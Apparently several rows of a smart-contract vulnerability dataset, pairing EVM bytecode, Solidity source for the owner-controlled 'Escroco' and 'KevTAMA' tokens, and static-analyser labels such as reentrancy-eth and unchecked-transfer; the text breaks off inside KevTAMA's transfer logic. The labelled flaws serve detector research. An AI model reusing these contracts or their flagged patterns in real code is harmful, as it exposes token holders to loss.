58284611dba565b905060006118d38284611da2565b905060006118e2846002611612565b905060006118f08683611968565b9050476118fc826119aa565b60006119084783611968565b9050600061191a866109a1848b611589565b90506119268582611b04565b505050505050505050565b600081836119525760405162461bcd60e51b81526004016107349190611be2565b50600061195f8486611f6a565b95945050505050565b600061160b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bb1565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119df576119df611dee565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5c9190611dd1565b81600181518110611a6f57611a6f611dee565b6001600160a01b039283166020918202929092010152600154611a959130911684610d34565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ace908590600090869030904290600401611f8c565b600060405180830381600087803b158015611ae857600080fd5b505af1158015611afc573d6000803e3d6000fd5b505050505050565b600154611b1c9030906001600160a01b031684610d34565b600154600a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611b8c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061119c9190611fc8565b60008184841115611bd55760405162461bcd60e51b81526004016107349190611be2565b50600061195f8486611dba565b600060208083528351808285015260005b81811015611c0f57858101830151858201604001528201611bf3565b81811115611c21576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611c4c57600080fd5b50565b60008060408385031215611c6257600080fd5b8235611c6d81611c37565b946020939093013593505050565b600080600060608486031215611c9057600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215611cbc57600080fd5b8335611cc781611c37565b92506020840135611cd781611c37565b929592945050506040919091013590565b600060208284031215611cfa57600080fd5b813561160b81611c37565b600060208284031215611d1757600080fd5b5035919050565b60008060408385031215611d3157600080fd5b8235611d3c81611c37565b91506020830135611d4c81611c37565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611db557611db5611d8c565b500190565b600082821015611dcc57611dcc611d8c565b500390565b600060208284031215611de357600080fd5b815161160b81611c37565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611e1657600080fd5b8151801515811461160b57600080fd5b600081518084526020808501945080840160005b83811015611e5f5781516001600160a01b031687529582019590820190600101611e3a565b509495945050505050565b848152608060208201526000611e836080830186611e26565b6001600160a01b03949094166040830152506060015292915050565b600060208284031215611eb157600080fd5b5051919050565b60208082526027908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152661e105b5bdd5b9d60ca1b606082015260800190565b6020808252602c908201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760408201526b30b63632ba20b6b7bab73a1760a11b606082015260800190565b6000816000190483118215151615611f6557611f65611d8c565b500290565b600082611f8757634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a060408201526000611fab60a0830186611e26565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215611fdd57600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122051c59a7712cafbb917b987d26cb93b2794d185a25bd2ab8d53090911220b4e3f64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,923 |
0xf0ef703a04cf96212031b51d373e8469687f308e
|
pragma solidity ^0.4.23;
/*
* Creator: ESC (Escroco)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* ESC token smart contract.
*/
contract ESCToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function ESCToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Escroco";
string constant public symbol = "ESC";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae4565b005b34801561043c57600080fd5b50610445610d04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3d565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc9565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e50565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600781526020017f457363726f636f0000000000000000000000000000000000000000000000000081525081565b6000806106ed3385610dc9565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb1565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a3565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ada576109d56b033b2e3c9fd0803ce8000000600454611489565b8211156109e55760009050610adf565b610a2d6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7b600454836114a2565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610adf565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7d57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d6020811015610c4d57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f455343000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9857600080fd5b600560009054906101000a900460ff1615610db65760009050610dc3565b610dc083836114c0565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eac57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee757600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110e057600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116d5760009050611482565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bc5760009050611482565b6000821180156111f857508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141857611283600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d56000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149757fe5b818303905092915050565b60008082840190508381101515156114b657fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fd57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154c576000905061170c565b60008211801561158857508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a2576115d56000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165f6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820a31517a4784596bb1c4d7b90af9dd3bbba67ac58bfb951a30734eeea51c89cbd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,924 |
0x371709ae8413ce755dc7ec5aec061700509c5a9e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
/*
KevTAMA
https://t.me/KevTAMA
stealth
billion supply
1% max / 4% max wallet
10% tax
lock / renounce yada yda
mega hype so gna moon
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KevTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KevTAMA";
string private constant _symbol = "KEVTAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xe1CF1Ad71dcd3f077793192e955decb635cB844C);
address payable private _marketingAddress = payable(0xDF63Be20c1D3983F9B66663a2529D62f98aCc0f2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 40000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
